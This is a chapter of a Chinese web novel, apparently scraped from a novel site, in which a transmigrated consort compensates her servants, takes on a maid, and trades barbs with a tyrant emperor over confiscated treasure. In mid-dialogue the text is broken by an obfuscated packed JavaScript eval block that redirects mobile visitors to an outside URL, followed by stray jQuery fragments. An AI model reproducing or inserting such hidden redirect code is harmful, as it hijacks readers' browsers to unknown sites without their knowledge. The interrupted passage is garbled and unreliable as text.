文趣网 > 其他小说 > 如何攻略疯批暴君 > 12. 赏赐
    常羲看着眼前显然被吓到的小丫头,有些茫然。她摸了摸脸,并没有感觉到任何痛觉。

    “怎么啦?”常羲问。

    竹月颤巍巍地递上镜子。

    常羲揽镜自照,猛然发现自己眼角鼻下嘴边,转了转头包括耳朵都流下“血迹”,吓了一跳也差点把镜子给扔了。

    难不成自己难得熬了个夜,熬得七窍流血了?

    常羲觉得不对劲,自己没有任何不适感甚至睡得很爽。她抬手搓了搓,这痕迹很难搓掉。好不容易搓下来一点,她放到鼻尖轻嗅。

    无语。

    常羲忍不住翻了个白眼,指尖是很明显的朱砂味道,这么精妙的手笔,那必然是顾允恭在她睡着的时候留下的大作。难以想象,一个杀人如麻残暴不仁的狗皇帝竟然还会这么幼稚。

    竹月努力替常羲擦去脸上的印迹,只是那颜色实在牢固,擦得脸都红了,仍留下些许痕迹。好在现在正在禁足,常羲也不用顶着这些印迹去见人。

    用完早膳,常羲拿出纸笔写写画画。竹月在一旁观望,又是她看不懂的字符,小姐未进宫前与墨书阁分账时就会用这些字符计算,又快又准。

    不一会,常羲放下笔招呼竹月:“小竹,把我的首饰和银钱都拿出来,然后把揽月殿里所有宫人都叫去正殿。”竹月有些惊讶,但并没有问什么,只是照做。

    不多久,宫侍们就在正殿站了一片。常羲抱着自己的家当,望着这一片人,心里仿佛在滴血,可这件事她依旧得担起责任来。

    该死的顾允恭,为什么他干的坏事要她来承担后果!终有一日她要千倍百倍地讨要回来!

    在心里日常骂完狗皇帝,常羲将银钱散给宫侍们,除了被罚的一年月例,另外又多补偿了半年,银钱不够的便用首饰抵上。

    补上月例,常羲又保证自己一定早日求皇上赦免他们的惩罚,宫侍们拜倒一片感恩戴德。常羲又是一顿手忙脚乱,十分良心不安。天杀的,平时在暴君手底下他们都是过的什么苦日子啊!

    众人陆续散去时,常羲留下了那个差点被暴君杀掉的小宫女。对她,常羲的愧疚更甚,毕竟人家险些因为自己丢了性命。虽说当时常羲根本没看清这小宫女的脸,却还是一眼认出了她,因为她头上有昨日磕头留下的伤。

    常羲让她走上前来,问道:“你叫什么名字呀?”

    小宫女又要跪下叩首,被常羲拦住,“奴婢玲珑。”

    常羲递过一堆瓶瓶罐罐:“玲珑,这些都是治伤的药,蓝色瓶子是祛疤的,每日记得敷上。你的月例往后就按贴身大宫女的来发放,昨日你受苦了。”

    玲珑受宠若惊连连推拒,最后被常羲强行一锤定音。她被迫捧着一堆药罐,踌躇几分,最后下定决心一般开口,“娘娘仁慈,奴婢愿贴身侍奉左右,望娘娘成全。”

    常羲哽住,跟在她身边可是个高危差事。若不是竹月执意不肯,她本不愿身边留着任何人。自己嘎了固然惨,可若连累旁人,还是身边人,那她真是万死难辞其咎。

    见常羲迟疑,玲珑咬咬牙道:“奴婢斗胆说出心里话,宫内大家都知现在陛下只宠爱娘娘一人,奴婢想求一个随侍娘娘左右的恩典,以求保住一条命!”

    常羲从未想过这样的角度,没想到在旁人看来自己已经是宠妃了,甚至对于危险的认知也和自己完全相反。而且这个小宫女很诚实,有野心都正常,更何况只是为了活命。

    她思考完毕,道:“如果你喜欢刺激的生活,也不是不行……”玲珑激动谢恩,常羲长吁短叹,有一瞬间觉得自己是一只老母鸡,要天天和顾允恭上演老鹰捉小鸡。

    虽说昨日应下了要侍奉暴君左右,可常羲和每一个上班的牛马一样,能摸鱼时那是必然要摸的。反正狗皇帝也没来找她,她何必自己往枪口上撞?真要论起来,她也确实老老实实地待在龙栖宫里呢。

    日头渐暖,花影摇曳。揽月殿单独辟出的花园内,桃花开了一簇又一簇,常羲仰躺在摇椅上,手里拿着话本翻阅,因为不想弄脏书页,她心安理得地接受着竹月的投喂。玲珑很会按摩,她揉按着常羲的头和肩颈,力度适中,让常羲很是享受。

    只要暴君不作妖,就算不出龙栖宫过的也是神仙日子。毕竟她穿书前就很爱宅家,别说整座龙栖宫,连揽月殿都比她以前的房子大多了,有假山有水有花园,配套设施一应俱全,简直不要太舒适。

    一口樱桃毕罗咬下,浆果爆汁,酸甜可口常羲幸福地眯起双眼。再来一口梅子冻,腌渍的青梅取汁熬凝成冻,盛在冰裂纹瓷碗里,实在是一种视觉和味觉的双重享受。

    此刻岁月静好的景象,被某个与春意盎然格格不入的墨色身影打破了。

    常羲张着嘴等了半晌,迟迟不见下一口点心递来,连玲珑的按摩也停了。她正要偏头去看究竟,一只盛着晶莹梅子冻的瓷勺已递到了唇边。

    常羲从善如流地纳入口中,突然觉得周围有点过于安静了。她掐住书页,从眼尾向身侧观察——是一节眼熟的低调但不失奢华的墨色衣角。常羲喉头一哽,正想起身,却被那口梅子冻呛得剧烈咳嗽起来。

    顾允恭的手抚上常羲的后背,一下一下轻拍,凉凉道:“有这么好吃吗?吃得这样急。”

    常羲闻言咳得更凶了,脸上泛起不正常的红晕。她抬手擦了擦眼角咳出的生理性泪水,忍不住小声嘀咕:“这样是会死人的好不好。”她全然忘了,顾允恭的耳朵极其灵光。

    “死在朕手上的人不计其数,倒是还没遇到过这样的死法。”他屈起手指划过常羲红彤彤的脸颊,触感柔软细腻,莫名叫人心生愉悦。

    常羲强忍住躲开那根手指的冲动,假笑道:“陛下说的是,暂时还死不了哈哈。”在她的想象里,皇帝这等尊贵的身份,想找谁至多通传一声便是,哪还有亲自跑一趟的道理?

    日光自头顶洒落,驱散了眼前人脸上的暴戾恣睢,竟添了几分少年人的意气与明朗。常羲一瞬看得有些发怔,心中老鹿狠狠乱撞了两下。毕竟谁能不为美人动心呢?更何况是这样一位绝色。

    顾允恭笑罢,又将茶盏递到常羲唇边。常羲十分老实地就着他的手抿了两口花茶,润了润有些干燥的喉咙。似是投喂上了瘾,顾允恭又夹起一块樱桃毕罗送来,常羲只得又咬下一口,幻视这暴君在玩投喂的过家家游戏。

    “吃饱了吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963959|214409||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”顾允恭忽而出声。

    才吃了两口,她能说自己不饱吗?而且吃甜点又不是为了充饥!但是常羲还是乖巧颔首,说:“妾身饱了。”

    “那便走吧。”

    顾允恭伸手握住常羲的臂弯,常羲被迫借力站起,一脸茫然。

    走哪?

    不过她现在应对顾允恭已经非常有经验了,她选择闭口不言,只默默由他拉着走。顾允恭走得很快,等到了紫宸殿时,常羲已经有些微喘,鼻尖也沁出了一层薄汗。

    紫宸殿内几乎堆满了箱子,其中一些敞开着,里面不是金锭银锭,就是各种华贵器具,还有各类首饰,甚至夹杂着些名家字画。各式一看就价值不菲的东西不要钱似的堆在一处,常羲只觉自己双眼都在放光。

    “这些都是从那长陵郡守府里抄没的,爱妃可喜欢?”

    常羲很想说喜欢。自己的钱包刚大出血完,补贴就来了,简直是瞌睡了有人递枕头。可转念一想,自己的身份是左相的女儿,而左相又与这长陵郡守有着千丝万缕的联系,她忽然怀疑这是顾允恭给她挖的一个巨坑。

    “妾身的父亲犯了错,妾身万不敢再喜欢罪臣之物。”说违心的话让她好肉痛。

    顾允恭饶有兴致地观察眼前人,动作和语言是恭顺有礼的,但是表情却不自觉地暴露了真实想法。但凡她能把那频频飘向箱子的视线稍微收一收,他兴许还能多信几分。

    “爱妃今日破财了,这是朕补偿给你的。”顾允恭一脸平静,看不出态度。

    常羲心里嘎嘣一下,宫里是真的隔墙有耳是吗,还好自己没有背后公开说狗皇帝的坏话。她抠了抠手有点纠结,内心是想要的,理智却在抗拒。但是不是都说皇帝是金口玉言吗?她再拒绝就有点做作了哈。

    于是常羲试探性地搬起装满首饰珠宝的妆匣,再看顾允恭的反应。后者是不置可否的平静表情。

    常羲思忖片刻,心虚地放下,换了一盒收纳簪子的小匣子。

    顾允恭:面无表情。

    唉。常羲认命地打开匣子,取出一根东珠发簪。抬眼看狗皇帝,依旧是那副死样。

    常羲心中生出无名火,把东珠簪子也放了回去。她都不要了成不?真正的强者当然要靠自己,她可是要成为版权大佬的女人!

    内心戏非常强硬,但是态度依旧窝囊:“陛下给妾身的已经够多了,妾身别无他求。”

    “爱妃既然没有喜欢的,那便算了。”顾允恭颔首表示赞同。

    演都不演了老哥,既然一开始就不想给,那就别假大方好不好!

    常羲也不想再装了,只一味地沉默,低下头,眼睛却向上瞟向暴君,这是她能做到的最无声又最有力的抗议。

    顾允恭的表情终于有了变化,十分愉悦地翘起嘴角,“似乎已到了朕喝药的时辰,爱妃是不是该去熬药了?”

    常羲拳头硬了。气死了气死了气死了,一点油水没捞着,还得去干活,可要侍奉的话又是自己亲口说的。常羲职业假笑,“好的,陛下。”

    顾允恭哈哈笑起来,指着常羲的脸道:“你笑得好假。”

    常羲:你笑得挺真的,狗皇帝。